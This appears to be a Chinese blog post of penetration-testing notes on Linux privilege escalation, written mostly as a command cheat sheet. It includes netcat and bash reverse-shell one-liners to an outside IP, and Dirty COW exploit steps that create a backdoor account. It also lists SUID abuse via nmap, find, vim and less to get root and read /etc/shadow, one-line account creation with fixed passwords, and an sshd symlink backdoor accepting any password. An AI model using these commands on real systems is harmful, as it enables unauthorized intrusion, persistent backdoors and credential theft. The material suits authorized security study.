渗透测试--Linux提权

Linux提权

linux发行版本

CentOS

  • 运维人员,系统简单,适合服务器

Redhat

  • 运维

Ubuntu

  • 开发人员

Kali

  • 安全人员,集成安全测试环境和工-具

Linux内核版本

Linux内核版本号由3组数字组成,第一组为内核主版本号,第二组奇数为开发版,偶数为稳定版,第三组数字是该版本错误修改升级的次数

稳定版

发行版

查看发行版本

cat /etc/issue
cat /etc/*-release

  • 查看内核版本
    uname -a
    root@kali:~# uname -a
    Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux

搜索系统中的漏洞kali

  • searchsploit linux Debian 4
  • searchsploit linux CentOS

反弹shell

首先获得webshell

netcat反弹

  • 开启本地监听

    • 开启本地9999端口监听,并将本地的bash发布出去。

nc -lvvp 9999 -t -e /bin/bash

  • 连接目标主机

    • 直接连接目标主机

nc 192.168.1.1 9999

bash反弹

  • bash反弹一句话

bash -i >& /dev/tcp/192.168.1.1/5555 0>&1

  • #本地监听
    nc -l -p 5555

python获取一句话标准shell

  • python -c “import pty;pty.spawn(’/bin/bash’)”

脏牛提权

在有webshell的前提下

1、上传脏牛exploit脚本文件dirty.c,根据权限一般只能上传到 /tmp目录下

2、编译gcc -pthread dirty.c -o dirty -lcrypt 得到可执行文件 dirty

3、运行可执行文件 ./dirty 设置提权账号firefalt的密码 test123(自定义)

4、用提权账号 firefalt 密码 test123 登陆主机 达成目标(设置后门等),

恢复root账号密码 /tmp/passwd.bak 恢复为 /etc/passwd (mv /tmp/passwd.bak /etc/passwd)

SUID提权

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性

首先在本地查找符合条件的文件,有三个命令

  • find / -user root -perm -4000 -print 2>/dev/null
  • find / -perm -u=s -type f 2>/dev/null
  • find / -user root -perm -4000 -exec ls -ldb {} ;

常用的可用于suid提权的文件

  • Nmap、Vim、find、Bash、More、Less、Nano、cp
  • 使用下命令进入namp交互模式

nmap --interactive

执行命令后会返回一个shell

nmap> !sh
sh-3.2# whoami
root

- Metasploit中有一个模块可以通过SUID Nmap进行提权

exploit/unix/local/setuid_nmap
find
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
touch test
find test -exec whoami ;

	- Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件

vim /etc/shadow

  • 以下命令将以root身份打开一个bash shell
    bash -p
    bash-3.2# id
    uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)

    • 程序less也可以执行提权后的shell
      less /etc/passwd
      !/bin/sh
  • 已对外公开 exp 注:
    https://github.com/SecWiki/linux-kernel-exploits
    https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
    https://github.com/xairy/kernel-exploits

linux常用命令

(1):内核,操作系统和设备信息

  • uname -a 打印所有可用的系统信息
  • uname -r 内核版本
  • uname -n 系统主机名。
  • uname -m 查看系统内核架构(64位/32位)
  • hostname 系统主机名
  • cat /proc/version 内核信息
  • cat /etc/*-release 分发信息
  • cat /etc/issue 分发信息
  • cat /proc/cpuinfo CPU信息

(2):用户和群组

  • cat /etc/passwd 列出系统上的所有用户
  • cat /etc/shadow 列出系统上的所有用户密码
  • cat /etc/group 列出系统上的所有组
  • grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ 列出所有的超级用户账户
  • whoami 查看当前用户
  • w 谁目前已登录,他们正在做什么
  • last 最后登录用户的列表
  • lastlog 所有用户上次登录的信息
  • lastlog –u %username% 有关指定用户上次登录的信息
  • lastlog |grep -v “Never” 以前登录用户的完

(3)用户和权限信息:

  • whoami 当前用户名
  • id 当前用户信息
  • cat /etc/sudoers 谁被允许以root身份执行
  • sudo -l 当前用户可以以root身份执行操作

(4)环境信息

  • env 显示环境变量
  • set 现实环境变量
  • echo %PATH 路径信息
  • history 显示当前用户的历史命令记录
  • pwd 输出工作目录
  • cat /etc/profile 显示默认系统变量
  • cat /etc/shells 显示可用的shell

(5)linux 一句话添加账号

  • (1)chpasswd 方法

    • useradd guest;echo ‘guest:123456’|chpasswd

  • (2)useradd -p 方法

    • useradd -p openssl passwd 123456 guest

  • (3)echo -e 方法

    • useradd test;echo -e “123456n123456n” |passwd test

(6)其它

linux后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

经典后门。直接对sshd建立软连接,之后用任意密码登录即可

ssh -o “StrictHostKeyChecking no” -o UserKnownHostsFile=/dev/null -T -fND 192.168.0.110:8888 mail@127.0.0.1 -o 31337

ssh -o “StrictHostKeyChecking no” -T -fNR 8888:192.168.0.110:8888 proxy@公网ip

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值